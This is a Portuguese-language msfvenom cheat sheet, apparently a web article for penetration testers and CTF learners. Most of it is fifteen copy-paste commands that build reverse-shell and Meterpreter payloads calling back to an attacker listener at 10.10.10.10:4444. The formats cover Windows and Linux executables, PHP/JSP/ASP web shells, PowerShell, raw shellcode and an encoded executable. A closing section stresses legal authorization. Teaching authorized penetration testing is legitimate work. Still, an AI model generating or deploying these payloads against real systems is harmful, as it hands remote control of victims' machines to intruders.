Precisa de um reverse shell? Msfvenom gera em um único comando. Executável Windows, ELF Linux, shell web PHP ou shellcode bruto para seu exploit de buffer overflow: msfvenom lida com todos.
Esta cheat sheet msfvenom fornece comandos copiar-colar para cada cenário de payload em 2026. Sem enrolação, apenas one-liners funcionais que você pode usar imediatamente. Se você está começando em exploração, comece com nosso guia CTF para iniciantes.
Referência de uma página para impressão com todos os comandos essenciais do msfvenom.
🚀 Top 15 Comandos Msfvenom (Prontos para Copiar-Colar)
Os comandos msfvenom mais comuns para referência rápida. Copie, cole,
substitua 10.10.10.10 pelo seu IP e 4444 pela sua porta.
# Meterpreter Windows (64 bits)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe
# Meterpreter Windows (32 bits)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe
# Meterpreter Linux (64 bits)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell
# Shell Linux (64 bits)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell
# Reverse shell macOS
msfvenom -p osx/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f macho -o shell
# Shell web PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php
# Shell web JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.jsp
# Arquivo WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war
# Shell web ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f asp -o shell.asp
# Shell web ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f aspx -o shell.aspx
# Payload Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.py
# One-liner Bash
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.sh
# PowerShell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh -o shell.ps1
# Shellcode (formato C)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00"
# Payload codificado (remoção de caracteres ruins, ofuscação básica)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe⚖️ Considerações Legais e Éticas
Aviso Crítico: Msfvenom gera payloads de exploração. Usá-los contra sistemas sem autorização explícita por escrito é um crime grave em praticamente todas as jurisdições. Violações de acesso não autorizado podem resultar em multas significativas e prisão.
- Sempre obtenha autorização por escrito antes de testar qualquer sistema que você não possui
- Use ambientes de prática legais como HackerDNA Labs, suas próprias máquinas virtuais ou plataformas CTF autorizadas
- Nunca implante payloads em sistemas de produção sem autorização explícita dos proprietários dos sistemas
- Entenda seu escopo e permaneça dentro dos limites do seu acordo de engajamento
- Documente tudo durante testes de penetração autorizados para proteção legal
As habilidades que você desenvolve com msfvenom são poderosas. Use-as responsavelmente para proteger sistemas, não para prejudicá-los. Hackers éticos constroem carreiras com base em confiança e integridade.
🏁 Conclusão
Esta cheat sheet msfvenom cobre os comandos essenciais de geração de payload para testes de penetração em 2026. De executáveis Windows a shells web PHP, de reverse shells básicos a payloads Meterpreter codificados, essas técnicas formam a fase de exploração das avaliações de segurança.
Lembre-se: a geração de payload é apenas uma parte da exploração bem-sucedida. Combine msfvenom com reconhecimento sólido, configuração adequada do handler e técnicas de pós-exploração para testes de penetração completos. Cada shell bem-sucedido começa com o payload certo para a situação.
Lembrete Legal: Apenas gere e implante payloads contra sistemas que você possui ou tem autorização explícita por escrito para testar. Acesso não autorizado é um crime grave com consequências legais severas.
Marque esta referência, pratique em ambientes de laboratório legais e desenvolva as habilidades de exploração que separam profissionais de segurança de script kiddies.